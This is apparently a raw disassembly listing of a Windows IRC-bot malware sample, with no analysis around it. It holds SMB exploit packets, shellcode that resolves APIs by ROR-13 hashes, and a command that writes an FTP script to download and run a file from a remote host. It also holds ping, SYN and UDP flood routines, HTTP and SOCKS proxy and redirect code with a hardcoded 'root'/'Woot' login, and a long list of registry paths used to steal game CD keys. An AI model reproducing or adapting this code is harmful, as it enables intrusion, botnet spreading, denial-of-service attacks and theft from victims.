aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424840+BDo
		align 10h
dword_444830	dd 10FF8h, 0	dword_444838	dd 10FF8h	dword_44483C	dd 7FFDF020h, 0	dword_444844	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4448FC	dd 0		dword_444900	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444908	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A04
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A1A
		mov	[esi+8], eax
		call	sub_4449CD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A1A
		mov	[esi+0Ch], eax
		call	sub_44497F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A1A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444908	endp


; =============== S U B	R O U T	I N E =======================================



sub_44497F	proc near		; CODE XREF: sub_444908+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449A8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44497F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449A8	proc near		; CODE XREF: sub_44497F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449B7:				; CODE XREF: sub_4449A8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449C4
		inc	ebx
		jmp	short loc_4449B7
; ---------------------------------------------------------------------------


loc_4449C4:				; CODE XREF: sub_4449A8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449CD	proc near		; CODE XREF: sub_444908+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449E5:				; CODE XREF: sub_4449CD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449ED
		mov	ecx, [ecx]
		jmp	short loc_4449E5
; ---------------------------------------------------------------------------


loc_4449ED:				; CODE XREF: sub_4449CD+1Aj
		mov	edx, edi


loc_4449EF:				; CODE XREF: sub_4449CD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4449F9
		mov	edx, [edx+4]
		jmp	short loc_4449EF
; ---------------------------------------------------------------------------


loc_4449F9:				; CODE XREF: sub_4449CD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A04	proc near		; CODE XREF: sub_444908+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A1A	proc near		; CODE XREF: sub_444908+16p
					; sub_444908+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A30:				; CODE XREF: sub_444A1A+33j
		jecxz	short loc_444A6A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A3D:				; CODE XREF: sub_444A1A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A49
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A3D
; ---------------------------------------------------------------------------


loc_444A49:				; CODE XREF: sub_444A1A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A30
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A6A:				; CODE XREF: sub_444A1A:loc_444A30j
					; sub_444A1A:loc_444A6Aj
		jmp	short loc_444A6A
sub_444A1A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A70	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AC2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A8D:				; CODE XREF: sub_444A70+38j
		jecxz	short loc_444ABD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444A98:				; CODE XREF: sub_444A70+32j
		lodsb
		test	al, al
		jz	short loc_444AA4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444A98
; ---------------------------------------------------------------------------


loc_444AA4:				; CODE XREF: sub_444A70+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A8D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ABD:				; CODE XREF: sub_444A70:loc_444A8Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A70	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AC2	proc near		; CODE XREF: sub_444A70+7p

; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444ADB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AE6
; ---------------------------------------------------------------------------


loc_444ADB:				; CODE XREF: sub_444AC2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AE6:				; CODE XREF: sub_444AC2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444AFA
sub_444AC2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AED	proc near		; CODE XREF: sub_444AC2:loc_444AFAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AC2


loc_444AFA:				; CODE XREF: sub_444AC2+29j
		call	sub_444AED
; END OF FUNCTION CHUNK	FOR sub_444AC2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444B94	dd 23h		dword_444B98	dd 60h		dword_444B9C	dd 62B0606h, 2050501h, 0A0hdword_444BA8	dd 0A1h		dword_444BAC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BB8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BC0
; ---------------------------------------------------------------------------
		align 10h
dword_444BC0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C68:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C6C
; ---------------------------------------------------------------------------


loc_444C6A:				; CODE XREF: ___:loc_444C6Cp
		jmp	short loc_444C71
; ---------------------------------------------------------------------------


loc_444C6C:				; CODE XREF: ___:loc_444C68j
		call	loc_444C6A


loc_444C71:				; CODE XREF: ___:loc_444C6Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C76	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C7B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C80:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C84
; ---------------------------------------------------------------------------


loc_444C82:				; CODE XREF: ___:loc_444C84p
		jmp	short loc_444C89
; ---------------------------------------------------------------------------


loc_444C84:				; CODE XREF: ___:loc_444C80j
		call	loc_444C82


loc_444C89:				; CODE XREF: ___:loc_444C82j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C8D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444C91	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444C98	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444CFC	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444D0C	dd 74656720h	byte_444D10	db 20h			; DATA XREF: sub_425270+A2r
dword_444D11	dd 0E8006A00h	dword_444D15	dd 17h							; sub_425270+D2r
dword_444D19	dd 0E8C30175h	dword_444D1D	dd 1							; sub_425270+E7r
byte_444D21	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D2B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F30	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445220	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445248	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445328	dd 1000005h, 0	dword_445330	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004453F8o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454D4	dd 524F5453h	byte_4454D8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454DC	dd 52544552h	byte_4454E0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454E4	dd 5453494Ch	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454EC	dd 54534C4Eh	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_4454F4	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456AC	dd offset aInterlockedcom+10h ;	DATA XREF: ___:0042E35Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456EC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_4456F0	dd 25206425h, 64hdword_4456F8	dd 455A4953h, 732520h, 0dword_445704	dd 4D54444Dh, 732520h, 0dword_445710	dd 4F544E52h, 732520h, 0dword_44571C	dd 52464E52h, 732520h, 0dword_445728	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44573C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA_0:					; DATA XREF: sub_433A20+36o
		unicode	0, <€>,0
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 446894h, 446F60h,	446860h, 80000002h, 446800h
		dd 446F60h, 4467D0h, 80000002h,	446778h, 446F60h, 446754h
		dd 80000002h, 44670Ch, 446F60h,	4466F4h, 80000002h, 4466B0h
		dd 446F60h, 446688h, 80000002h,	44664Ch, 446F60h, 446618h
		dd 80000002h, 4465B8h, 446F60h,	44658Ch, 80000002h, 446568h
		dd 446560h, 446534h, 80000002h,	44650Ch, 446560h, 4464F4h
		dd 80000001h, 4464C4h, 4464C0h,	4464B0h, 80000002h, 446474h
		dd 446F60h, 446464h, 80000002h,	446428h, 446F60h, 446414h
		dd 80000002h, 4463CCh, 446F60h,	4463B0h, 80000002h, 44636Ch
		dd 446F60h, 446350h, 80000001h,	446328h, 4464C0h, 446318h
		dd 80000001h, 4462F0h, 4464C0h,	4462D0h, 80000002h, 446294h
		dd 446290h, 446274h, 80000002h,	446250h, 446248h, 446230h
		dd 80000001h, 446204h, 4461FCh,	4461D8h, 80000002h, 44618Ch
		dd 446F60h, 446164h, 80000002h,	446110h, 446F60h, 4460D8h
		dd 80000002h, 446074h, 446F60h,	446040h, 80000002h, 445FE0h
		dd 446F60h, 445FC4h, 80000002h,	445F7Ch, 446F60h, 445F60h
		dd 80000002h, 445F18h, 446F60h,	445F08h, 80000002h, 445ECCh
		dd 446F60h, 445EBCh, 80000002h,	445E80h, 446F60h, 445E58h
		dd 80000002h, 445E04h, 446F60h,	445DDCh, 80000002h, 445D8Ch
		dd 446F60h, 445D70h, 80000002h,	445D48h, 4464C0h, 445D34h
		dd 80000002h, 445CFCh, 446F60h,	445CCCh, 80000002h, 445C74h
		dd 446F60h, 445C58h, 80000001h,	445C08h, 445C00h, 445BE4h
		dd 80000002h, 445BA0h, 445B94h,	445B7Ch, 80000001h, 445B4Ch
		dd 445B40h, 445B20h, 80000002h,	445AE4h, 445C00h, 445AC4h
		dd 80000002h, 445A88h, 445C00h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
